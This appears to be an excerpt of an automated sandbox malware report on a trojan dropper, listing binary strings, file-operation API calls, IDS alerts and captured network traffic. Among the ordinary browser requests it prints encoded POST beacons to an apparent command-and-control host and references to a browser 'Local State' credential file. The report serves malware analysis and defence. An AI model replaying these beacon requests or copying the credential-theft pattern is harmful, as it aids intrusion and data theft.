0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2823643297.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2728727480.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2679540264.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2750909782.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2643935919.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2754339287.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2661777601.0000000002EBA000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2848225882.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2752226852.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2658753495.0000000002EB6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2823153370.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: ppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local State6 source: ToolSecurityBvg.exe, 0000000A.00000003.2821080856.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2754958749.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2849635779.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2726014114.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2784742842.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2710814230.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2851303950.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2801136499.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2749035806.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2823643297.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2728727480.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2750909782.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2754339287.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2848225882.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2752226852.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2823153370.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: vcruntime140.i386.pdbGCTL source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000000.00000003.1789442174.0000000003659000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000000.00000003.1790633169.0000000003650000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000000.00000003.1790530235.0000000003650000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000002.2120137170.000000006E451000.00000020.00000001.01000000.00000006.sdmp
Source: Binary string: vcruntime140.i386.pdb source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000002.2120137170.000000006E451000.00000020.00000001.01000000.00000006.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A58316 source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2679540264.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2643935919.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2679540264.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2643935919.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: ToolSecurityBvg.exe, 0000000A.00000003.2660746659.0000000002E50000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2595426913.0000000002E4F000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: ntkrnlmp.pdb;W source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2679540264.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local State; source: ToolSecurityBvg.exe, 0000000A.00000003.2595426913.0000000002E4F000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local State source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2643935919.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2661777601.0000000002EBA000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2658753495.0000000002EB6000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: ntkrnlmp.pdb5W source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2679540264.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2643935919.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: ntkrnlmp.pdb'W source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2679540264.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_00785C81 GetFileAttributesW,GetLastError,SetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,SetFileAttributesW,GetLastError,DeleteFileW,MoveFileExW,MoveFileExW,GetLastError,FindNextFileW,GetLastError,RemoveDirectoryW,GetLastError,MoveFileExW,GetLastError,FindClose,0_2_00785C81
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007D1344 FindFirstFileExW,FindNextFileW,FindClose,FindClose,0_2_007D1344
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007E343B FindFirstFileW,FindClose,0_2_007E343B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_0079E72A FindFirstFileW,FindNextFileW,FindClose,0_2_0079E72A
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D61344 FindFirstFileExW,FindNextFileW,FindClose,FindClose,1_2_00D61344
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D7343B FindFirstFileW,FindClose,1_2_00D7343B
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D2E72A FindFirstFileW,FindNextFileW,FindClose,1_2_00D2E72A
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D15C81 GetFileAttributesW,GetLastError,SetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,SetFileAttributesW,GetLastError,DeleteFileW,MoveFileExW,MoveFileExW,GetLastError,FindNextFileW,GetLastError,RemoveDirectoryW,GetLastError,MoveFileExW,GetLastError,FindClose,1_2_00D15C81
Source: Joe Sandbox ViewIP Address: 18.164.96.18 18.164.96.18
Source: Joe Sandbox ViewIP Address: 2.22.242.105 2.22.242.105
Source: Joe Sandbox ViewJA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49920 -> 104.21.40.182:443
Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49926 -> 104.21.40.182:443
Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49909 -> 104.21.40.182:443
Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50100 -> 104.21.40.182:443
Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50102 -> 104.21.40.182:443
Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50106 -> 104.21.40.182:443
Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50107 -> 104.21.40.182:443
Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50108 -> 104.21.40.182:443
Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50112 -> 104.21.40.182:443
Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50111 -> 104.21.40.182:443
Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50114 -> 104.21.40.182:443
Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50116 -> 104.21.40.182:443
Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50113 -> 104.21.40.182:443
Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50119 -> 104.21.40.182:443
Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50115 -> 104.21.40.182:443
Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50117 -> 104.21.40.182:443
Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50118 -> 104.21.40.182:443
Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50109 -> 104.21.40.182:443
Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50110 -> 104.21.40.182:443
Source: global trafficHTTP traffic detected: POST /aofchic.htm?zbvekz9gzr=e2anLGjWQlfNlWSpiKPUZflc5Y%2FfWFlFyz44R65XekKGLN7kGulQPXGH1mDhQ8vuituTWRuVRHCr5PFngH8fYg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15Content-Length: 147Host: piaktrip.online
Source: global trafficHTTP traffic detected: POST /aofchic.htm?zbvekz9gzr=e2anLGjWQlfNlWSpiKPUZflc5Y%2FfWFlFyz44R65XekKGLN7kGulQPXGH1mDhQ8vuituTWRuVRHCr5PFngH8fYg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15gm: 4KFyof7oXSFerDiF98lvPCR/ei/9AS8jAnhcE77WjNSN0kI2btZhG4W4odqpDEqNeDweM8o9wH1p9XUPbsebOACgA18gWI1A2uHm44Goqj6PswContent-Length: 53Host: piaktrip.online
Source: global trafficHTTP traffic detected: POST /aofchic.htm?zbvekz9gzr=e2anLGjWQlfNlWSpiKPUZflc5Y%2FfWFlFyz44R65XekKGLN7kGulQPXGH1mDhQ8vuituTWRuVRHCr5PFngH8fYg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15gm: 4KFyof7oXSFerDiF98lvPCR/ei/9AS8jAnhcE77WjNSN0kI2btZhG4W4odqpDEqNeDweM8o9wH1p9XUPbsebOACgA18gWI1A2uHm44Goqj6PswContent-Length: 208Host: piaktrip.online
Source: global trafficHTTP traffic detected: GET /edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531 HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global trafficHTTP traffic detected: GET /bundles/v1/edgeChromium/latest/SSR-extension.af337c502c230a9902a8.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 1.45sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 250sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: */*sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; sptmarket=en-GB||us|en-us|en-us|en||cf=8|RefA=A19A8D317B4248C4B16E2584084396AC.RefC=2025-03-02T22:48:05Z; USRLOC=; MUID=298FBC8F51F06FBE167AA92C50F76ED8; MUIDB=298FBC8F51F06FBE167AA92C50F76ED8; _EDGE_S=F=1&SID=21B0684A799B606837FF7DE978076172; _EDGE_V=1
Source: global trafficHTTP traffic detected: OPTIONS /api/report?cat=bingbusiness HTTP/1.1Host: bzib.nelreports.netConnection: keep-aliveOrigin: https://business.bing.comAccess-Control-Request-Method: POSTAccess-Control-Request-Headers: content-typeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global trafficHTTP traffic detected: GET /bundles/v1/edgeChromium/latest/web-worker.96ac23719317b1928681.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 1.45sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 250sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: */*sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; sptmarket=en-GB||us|en-us|en-us|en||cf=8|RefA=A19A8D317B4248C4B16E2584084396AC.RefC=2025-03-02T22:48:05Z; USRLOC=; MUID=298FBC8F51F06FBE167AA92C50F76ED8; MUIDB=298FBC8F51F06FBE167AA92C50F76ED8; _EDGE_S=F=1&SID=21B0684A799B606837FF7DE978076172; _EDGE_V=1
Source: global trafficHTTP traffic detected: GET /crx/blobs/ASuc5ohcoRYyASTWkAI21BvR0f-Aos7pzgW3GtD8ImYoX-O9Pl77join3GT-5wpD1vT_nG6xpJ0eds7JOZacv0OYNfBAee3mKSnMDx3-YDnz3J7UxfHM_wfhsyHz9Z8rajAAxlKa5T9frrLlN0KHGfJRu7Y7NseNtZ_M/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_89_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global trafficHTTP traffic detected: POST /api/report?cat=bingbusiness HTTP/1.1Host: bzib.nelreports.netConnection: keep-aliveContent-Length: 472Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global trafficHTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.bd02dd0f5f9b69ef8b17.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global trafficHTTP traffic detected: GET /bundles/v1/edgeChromium/latest/microsoft.4fa8815283fe3d88a934.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global trafficHTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common.bb241b5cf88a9a76514e.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global trafficHTTP traffic detected: GET /bundles/v1/edgeChromium/latest/experience.e283502f48dd51b29357.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global trafficHTTP traffic detected: GET /statics/icons/favicon_newtabpage.png HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=298FBC8F51F06FBE167AA92C50F76ED8; _EDGE_S=F=1&SID=21B0684A799B606837FF7DE978076172; _EDGE_V=1
